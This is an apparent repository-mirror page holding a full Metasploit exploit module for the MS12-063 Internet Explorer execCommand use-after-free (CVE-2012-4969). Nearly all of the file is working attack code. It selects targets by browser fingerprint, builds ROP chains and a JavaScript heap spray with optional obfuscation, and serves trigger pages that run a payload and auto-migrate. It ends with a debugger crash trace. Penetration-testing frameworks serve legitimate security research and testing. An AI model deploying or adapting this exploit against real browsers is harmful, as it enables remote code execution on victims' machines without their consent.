mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
35d3bbf74d
See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
389 lines
12 KiB
Ruby
389 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({
|
|
:ua_name => HttpClients::IE,
|
|
:ua_minver => "7.0",
|
|
:ua_maxver => "9.0",
|
|
:javascript => true,
|
|
:rank => GoodRanking
|
|
})
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
|
|
rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
|
|
but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
|
|
to a use-after-free condition.
|
|
|
|
Please note that this vulnerability has been exploited in the wild since Sep 14 2012.
|
|
|
|
Also note that presently, this module has some target dependencies for the ROP chain to be
|
|
valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).
|
|
For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which
|
|
is often the case).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'unknown', # via ZDI
|
|
'eromang', # First public discovery
|
|
'binjo',
|
|
'sinn3r', # Metasploit
|
|
'juan vazquez' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-4969' ],
|
|
[ 'OSVDB', '85532' ],
|
|
[ 'MSB', 'MS12-063' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ],
|
|
[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
|
|
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => "none",
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
|
|
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
|
|
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
|
|
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
|
|
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
|
|
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
|
|
ie_name = "IE #{ie}"
|
|
|
|
case nt
|
|
when '5.1'
|
|
os_name = 'Windows XP SP3'
|
|
when '6.0'
|
|
os_name = 'Windows Vista'
|
|
when '6.1'
|
|
os_name = 'Windows 7'
|
|
end
|
|
|
|
targets.each do |t|
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
vprint_status("Target selected as: #{t.name}")
|
|
return t
|
|
end
|
|
end
|
|
|
|
return nil
|
|
end
|
|
|
|
def junk(n=4)
|
|
return rand_text_alpha(n).unpack("V")[0].to_i
|
|
end
|
|
|
|
def nop
|
|
return make_nops(4).unpack("V")[0].to_i
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
code = payload.encoded
|
|
|
|
# No rop. Just return the payload.
|
|
return code if t['Rop'].nil?
|
|
|
|
# Both ROP chains generated by mona.py - See corelan.be
|
|
case t['Rop']
|
|
when :msvcrt
|
|
print_status("Using msvcrt ROP")
|
|
exec_size = code.length
|
|
stack_pivot = [
|
|
0x77c4e393, # RETN
|
|
0x77c4e392, # POP EAX # RETN
|
|
0x77c15ed5, # XCHG EAX, ESP # RETN
|
|
].pack("V*")
|
|
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
|
|
|
else
|
|
print_status("Using JRE ROP")
|
|
exec_size = 0xffffffff - code.length + 1
|
|
if t['Random']
|
|
stack_pivot = [
|
|
0x0c0c0c0c, # 0c0c0c08
|
|
0x7c347f98, # RETN
|
|
0x7c347f97, # POP EDX # RETN
|
|
0x7c348b05 # XCHG EAX, ESP # RET
|
|
].pack("V*")
|
|
else
|
|
stack_pivot = [
|
|
0x7c347f98, # RETN
|
|
0x7c347f97, # POP EDX # RETN
|
|
0x7c348b05 # XCHG EAX, ESP # RET
|
|
].pack("V*")
|
|
end
|
|
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
|
end
|
|
|
|
return rop_payload
|
|
end
|
|
|
|
# Spray published by corelanc0d3r
|
|
# Exploit writing tutorial part 11 : Heap Spraying Demystified
|
|
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
|
def get_random_spray(t, js_code, js_nops)
|
|
|
|
spray = <<-JS
|
|
|
|
function randomblock(blocksize)
|
|
{
|
|
var theblock = "";
|
|
for (var i = 0; i < blocksize; i++)
|
|
{
|
|
theblock += Math.floor(Math.random()*90)+10;
|
|
}
|
|
return theblock;
|
|
}
|
|
|
|
function tounescape(block)
|
|
{
|
|
var blocklen = block.length;
|
|
var unescapestr = "";
|
|
for (var i = 0; i < blocklen-1; i=i+4)
|
|
{
|
|
unescapestr += "%u" + block.substring(i,i+4);
|
|
}
|
|
return unescapestr;
|
|
}
|
|
|
|
var heap_obj = new heapLib.ie(0x10000);
|
|
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
|
|
var offset_length = #{t['Offset']};
|
|
|
|
for (var i=0; i < 0x1000; i++) {
|
|
var padding = unescape(tounescape(randomblock(0x1000)));
|
|
while (padding.length < 0x1000) padding+= padding;
|
|
var junk_offset = padding.substring(0, offset_length);
|
|
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
|
|
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
|
|
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
|
|
heap_obj.alloc(sprayblock);
|
|
}
|
|
|
|
JS
|
|
|
|
return spray
|
|
end
|
|
|
|
def get_spray(t, js_code, js_nops)
|
|
js = <<-JS
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
var offset = nops.substring(0, #{t['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
|
|
heap_obj.gc();
|
|
|
|
for (var i=1; i < 0x300; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
JS
|
|
end
|
|
|
|
|
|
def load_html1(cli, my_target)
|
|
p = get_payload(my_target, cli)
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
|
|
js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
|
|
|
|
if my_target['Random']
|
|
js = get_random_spray(my_target, js_code, js_r_nops)
|
|
else
|
|
js = get_spray(my_target, js_code, js_nops)
|
|
end
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
if datastore['OBFUSCATE']
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
js.obfuscate
|
|
end
|
|
|
|
html = %Q|
|
|
<html>
|
|
<body>
|
|
<script>
|
|
var arrr = new Array();
|
|
arrr[0] = window.document.createElement("img");
|
|
arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
|
|
</script>
|
|
|
|
<iframe src="#{this_resource}/#{@html2_name}"></iframe>
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
return html
|
|
end
|
|
|
|
def load_html2
|
|
html = %Q|
|
|
<HTML>
|
|
<script>
|
|
function funcB() {
|
|
document.execCommand("selectAll");
|
|
};
|
|
|
|
function funcA() {
|
|
document.write("#{Rex::Text.rand_text_alpha(1)}");
|
|
parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
|
|
}
|
|
|
|
</script>
|
|
<body onload='funcB();' onselect='funcA()'>
|
|
<div contenteditable='true'>
|
|
a
|
|
</div>
|
|
</body>
|
|
</HTML>
|
|
|
|
|
|
|
return html
|
|
end
|
|
|
|
def this_resource
|
|
r = get_resource
|
|
return ( r == '/') ? '' : r
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
uri = request.uri
|
|
agent = request.headers['User-Agent']
|
|
my_target = get_target(agent)
|
|
|
|
vprint_status("Requesting: #{uri}")
|
|
print_status(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
if my_target.nil?
|
|
print_error("Browser not supported, sending a 404: #{agent.to_s}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
if uri =~ /#{@html2_name}/
|
|
print_status("Loading #{@html2_name}")
|
|
html = load_html2
|
|
elsif uri =~ /#{@html1_name}/
|
|
print_status("Loading #{@html1_name}")
|
|
html = load_html1(cli, my_target)
|
|
elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)
|
|
print_status("Redirecting to #{@html1_name}")
|
|
send_redirect(cli, "#{this_resource}/#{@html1_name}")
|
|
return
|
|
else
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
html = html.gsub(/^ {4}/, '')
|
|
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
end
|
|
|
|
def exploit
|
|
@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
|
|
@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
|
|
super
|
|
end
|
|
|
|
end
|
|
|
|
|
|
=begin
|
|
0:008> r
|
|
eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
|
|
eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
|
mshtml!CMshtmlEd::Exec+0x134:
|
|
637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????
|
|
|
|
0:008> u
|
|
mshtml!CMshtmlEd::Exec+0x134:
|
|
637d464e 8b07 mov eax,dword ptr [edi]
|
|
637d4650 57 push edi
|
|
637d4651 ff5008 call dword ptr [eax+8]
|
|
|
|
0:008> k
|
|
ChildEBP RetAddr
|
|
020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
|
|
020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
|
|
020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
|
|
020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
|
|
020bc2c0 638b167b mshtml!CBase::execCommand+0x50
|
|
020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
|
|
020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
|
|
020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
|
|
020bc410 63643832 mshtml!CBase::InvokeEx+0x25
|
|
020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
|
|
020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
|
|
020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
|
|
020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
|
|
020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
|
|
020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
|
|
020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
|
|
020bc690 633a77ff jscript!VAR::InvokeByName+0x135
|
|
020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
|
|
020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
|
|
020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
|
|
=end
|